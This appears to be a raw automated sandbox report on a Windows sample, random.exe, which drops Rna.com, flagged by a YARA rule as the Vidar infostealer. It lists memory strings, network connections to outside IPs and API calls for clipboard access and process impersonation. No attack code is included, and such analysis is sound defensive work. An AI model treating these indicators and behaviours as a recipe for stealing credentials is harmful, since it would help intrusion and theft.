Source: chrome.exe, 00000014.00000002.2057236647.00006254028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2056730805.000062540280C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1966842650.0000625402E40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000014.00000002.2057236647.00006254028E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000014.00000002.2057555158.00006254029BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Chary
Source: chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2c
Source: chrome.exe, 00000014.00000003.1973901958.0000625403358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000014.00000002.2063773033.0000625403348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: content_new.js.26.dr, content.js.26.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000014.00000002.2053096137.00006254023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057682944.0000625402A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057316580.0000625402924000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2058174276.0000625402B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000014.00000002.2053096137.00006254023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057682944.0000625402A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2058174276.0000625402B18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000014.00000002.2057316580.0000625402924000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gsw
Source: Rna.com, 0000000D.00000002.2667912374.000000000554B000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2667912374.000000000540A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057442058.000062540295C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2055849884.0000625402770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2055536049.000062540270C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061396282.0000625402E68000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr, jw4w4o.13.dr, Web Data.26.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000014.00000002.2055150861.0000625402674000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987654415.0000625403624000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988611758.0000625403658000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987571221.000062540361C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987437868.0000625403580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987731731.000062540362C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988376152.0000625403580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000014.00000003.1974430350.00006254025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000014.00000002.2055411605.00006254026D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000014.00000002.2055411605.00006254026D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitbT
Source: chrome.exe, 00000014.00000002.2059261176.0000625402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000014.00000003.1980945285.00006254024A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000014.00000002.2050398757.000062540221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000014.00000002.2053373186.000062540240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000014.00000002.2053373186.000062540240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000014.00000002.2053373186.000062540240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000014.00000002.2053373186.000062540240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974390059.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000014.00000003.1989233880.00006254032F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.2000017526.00006254032F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2063647084.00006254032F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.
Source: chrome.exe, 00000014.00000003.1987540300.00006254024A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000014.00000003.1989233880.00006254032F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.2000017526.00006254032F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2063647084.00006254032F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.om
Source: chrome.exe, 00000014.00000002.2052031074.0000625402324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.
Source: chrome.exe, 00000014.00000003.1987540300.00006254024A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000014.00000002.2055411605.00006254026D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000014.00000003.1987859030.000062540360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2064047098.00006254035B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988179868.00006254035B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988611758.0000625403658000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987437868.0000625403580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988376152.0000625403580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.XA6cJfY6CcY.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.y1YSUixQIjo.L.W.O/m=qmd
Source: chrome.exe, 00000014.00000002.2052031074.0000625402324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.m/
Source: Rna.com, 0000000D.00000002.2671636108.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666277353.0000000004097000.00000004.00000800.00020000.00000000.sdmp, ctj5p8.13.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: Rna.com, 0000000D.00000002.2676469398.0000000006517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: Rna.com, 0000000D.00000002.2676469398.0000000006517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: Rna.com, 0000000D.00000002.2676469398.0000000006517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Rna.com, 0000000D.00000002.2676469398.0000000006517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: chrome.exe, 00000014.00000003.1988807602.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2065152648.0000625403E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000014.00000003.1988807602.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000014.00000002.2063024550.00006254030F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl
Source: chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000014.00000003.1966943805.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1993139439.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974390059.0000625402DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988807602.0000625402DC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Q:
Source: chrome.exe, 00000014.00000002.2061531158.0000625402E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2063554768.0000625403264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2056911160.0000625402860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000014.00000002.2063554768.0000625403264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.214.119:443 -> 192.168.2.8:49712 version: TLS 1.2

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D1F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

13_2_00D1F7C7

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D1F55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

13_2_00D1F55C

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D39FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

13_2_00D39FD2

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.Rna.com.3f70000.2.unpack, type: UNPACKEDPE

Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D14763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

13_2_00D14763

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D01B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

13_2_00D01B4D

